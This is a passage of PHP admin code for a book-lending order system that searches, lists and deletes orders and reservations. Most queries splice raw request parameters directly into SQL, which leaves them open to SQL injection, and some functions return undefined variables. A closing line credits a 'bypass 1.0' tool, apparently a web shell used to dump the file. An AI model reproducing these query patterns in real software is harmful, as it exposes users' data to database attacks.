	   			$whereClause = ' WHERE (`member_name` like "%'.$objArray['member_name'].'%") AND  `submit_status` ="1" AND `record_status`="1" ORDER BY order_id';								
			elseif($_POST['order_of_date'])
				$whereClause = ' WHERE (`order_of_date` like "%'.$objArray['order_of_date'].'%") AND  `submit_status` ="1" AND `record_status`="1" ORDER BY order_id';
			elseif($_POST['order_status'])
				$whereClause = ' WHERE (`order_status` like "%'.$objArray['order_status'].'%") AND  `submit_status` ="1" AND `record_status`="1" ORDER BY order_id';
														
				
   $objSmarty->assign('order_id',$_POST['order_id']);
   $objSmarty->assign('member_id',$_POST['member_id']);
   $objSmarty->assign('member_name',$_POST['member_name']);
   $objSmarty->assign('order_of_date',$_POST['order_of_date']);
   $objSmarty->assign('order_status',$_POST['order_status']);   
  }
  $SelQuery		= 'SELECT * FROM `customer_orders_master`'.$whereClause;
  $listing_split3 =  $this->ExecuteQuery($SelQuery, 'select');
/*  if ( ($listing_split3->number_of_rows > 0) )  {
   $objSmarty->assign('LinkPage',$listing_split3->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split3->display_links_submit($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $PageList = $this->ExecuteQuery($listing_split3->sql_query, 'selectassoc');
   
  }*/
/*  if(!empty($PageList) && is_array($PageList))

   foreach($PageList as $key=>$value){
    $PageList[$key]['ID'] = stripslashes($PageList[$key]['customer_id']);
	$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
	$PageList[$key]['Ctype'] = stripslashes($PageList[$key]['customer_type']);
	$PageList[$key]['Ccategory'] = stripslashes($PageList[$key]['category']);
	$PageList[$key]['Cadd'] = stripslashes($PageList[$key]['address1']);
	$PageList[$key]['Ccity'] = stripslashes($PageList[$key]['city']);
	$PageList[$key]['Cstate'] = stripslashes($PageList[$key]['state']);
	$PageList[$key]['Ccontact'] = stripslashes($PageList[$key]['contact_person']);
	$PageList[$key]['Cmobile'] = stripslashes($PageList[$key]['mobile']);
	$PageList[$key]['Cemail'] = stripslashes($PageList[$key]['email']);
	$PageList[$key]['Cstatus'] = stripslashes($PageList[$key]['status']);
	$PageList[$key]['Caccount'] = stripslashes($PageList[$key]['account_manager']);
	$PageList[$key]['Cdelivery'] = stripslashes($PageList[$key]['delivery_manager']);
	
	 if($PageList[$key]['Cstatus'] == 1){
	 $PageList[$key]['Cstatus'] ='Active';
	}
	elseif($PageList[$key]['Cstatus'] == 0){
	 $PageList[$key]['Cstatus'] ='InActive';
	}
   }*/

 // $objSmarty->assign('i', $listing_split->i);
  $objSmarty->assign('PageList', $listing_split3);//print_r($PageList);
  return $PageList;
 
}
 
 //Delete Order List
 function DeleteOrderList(){
   
   $SelQuery = 'UPDATE `customer_orders_master` set record_status = "0" WHERE order_id = "'.$_GET['order_id'].'" ';
   $DList = $this->ExecuteQuery($SelQuery, "update");
    $url_addtnal_data=base64_encode("Order Deleted Successfully");
   header('location:'.$_SERVER['PHP_SELF']."?sm=".$url_addtnal_data);
  // $objSmarty->assign('DList',$DList);
   
 
 
 }
  /* Get the Static Content list */
 function GetReservedLists($objArray=''){
  global $objSmarty;
//  $SelQuery		= 'SELECT * FROM `customer_wish_details` WHERE `status` ="3"';
 // $SelQuery		= 'SELECT * FROM `book_reserved` WHERE `status` ="0"';
  $SelQuery		= 'SELECT br.*,m.member_code,m.member_name,m.contact_number,b.book_name,b.author FROM `book_reserved` br LEFT JOIN `members` m ON br.member_id =m.id LEFT JOIN `book` b ON b.id =br.book_id WHERE br.status="0" ORDER BY br.id DESC';
  $listing_split3 =  $this->ExecuteQuery($SelQuery, 'select');
  $objSmarty->assign('PageListRes', $listing_split3);//print_r($PageList);
  return $PageListRes;
}
 
 //Delete Order List
 function DeletereservedList(){
   
   $SelQuery = 'UPDATE `customer_wish_details` set status = "0" WHERE member_code = "'.$_GET['mcode'].'" and book_id="'.$_GET['bids'].'"';
   $DList = $this->ExecuteQuery($SelQuery, "update");
    $url_addtnal_data=base64_encode("Reserved Book Deleted Successfully");
   header('location:'.$_SERVER['PHP_SELF']."?sm=".$url_addtnal_data);
  // $objSmarty->assign('DList',$DList);
 }
 
function GetInwardDetailsView($objArray='') 
  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['orderId']);
		
	 $SelQuery = 'SELECT customer_orders_master.date_of_order, customer_orders_details.book_name , customer_orders_master.order_status ,customer_orders_master.delivery_date,  customer_orders_master.delivery_time , customer_orders_master.return_date, customer_orders_master.return_time,count(distinct(customer_orders_details.book_id)) As bcount,sum(customer_orders_details.reading_charges) As read_c FROM customer_orders_master INNER JOIN customer_orders_details ON customer_orders_master.order_id=customer_orders_details.order_id WHERE customer_orders_master.member_id="'.$_GET['m_id'].'" AND customer_orders_master.submit_status="1" AND customer_orders_master.record_status="1" AND customer_orders_details.order_id="'.$_GET['o_id'].'" AND customer_orders_details.status="0"';
		//$SelQuery = 'SELECT * FROM `customer_orders_details` WHERE order_id ="'.$_GET['o_id'].'" AND status="1" ' ;
		//echo $SelQuery;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$objSmarty->assign('LDList', $LDList);//print_r($LDList);
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['cust_id']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 if(!empty($LDList) && is_array($LDList))
		{
			$objSmarty->assign("LDList_details_tbl",$LDList);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		$objPage->set_page_data($_SERVER['PHP_SELF'],$total_records,$record_per_page,$scroll,true,true,true);
		$listing_split = new MsplitPageResults($SelQuery, $this->Limit);
		
		if ( ($listing_split->number_of_rows > 0) )  
		{
			$objSmarty->assign('LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
			$objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$PageList = $this->ExecuteQuery($listing_split->SelQuery, 'selectassoc');
		}
		if(!empty($PageList) && is_array($PageList))
			foreach($PageList as $key=>$value)
			{
				$PageList[$key]['Cid'] = stripslashes($PageList[$key]['customer_id']);
				$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
				$objSmarty->assign('Cid',$PageList[$key]['customer_id']);
				$objSmarty->assign('Cname',$PageList[$key]['customer_name']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('PageList', $PageList);
			echo $PageList;
			return $PageList;
	}	
 function GetBookname()
 {
 global $objSmarty;
//  $SelQuery2		= 'SELECT * FROM `customer_orders_details` WHERE `order_id` = "'.$_GET['o_id'].'" and status="0"';
  
  $SelQuery2		= 'SELECT cd.*,cm.id,cm.is_status FROM `customer_orders_details` cd LEFT JOIN `book` cm ON cd.book_id =cm.id WHERE cd.order_id ="'.$_GET['o_id'].'" AND cm.is_status="1" AND cd.status="0" GROUP BY cm.id';
  //$SelQuery2		= 'SELECT cd.*,cm.id,cm.book_id,cm.status,cm.book_status FROM `customer_orders_details` cd LEFT JOIN `book_receipt` cm ON cd.book_id =cm.book_id WHERE cd.order_id ="'.$_GET['o_id'].'" AND cm.status="1" AND cm.book_status="0" AND cd.status="0" GROUP BY cm.book_id';
  
  
  $bkDetail		= $this->ExecuteQuery($SelQuery2, 'select');
     $objSmarty->assign('bkDetail', $bkDetail);
 }
 
   function ChkDupliCust($c_id){
  global $objSmarty;
  if(!empty($c_id))
 // $WhereClause	= ' AND `id` != '.$Ident;
  $SelQuery2		= 'SELECT * FROM `customer_orders_master` WHERE `order_id` = "'.$c_id.'" Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  if(!empty($CusDetail) && is_array($CusDetail))
   return false;
  else
   return true;
 }
  
 
 
 }
 ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net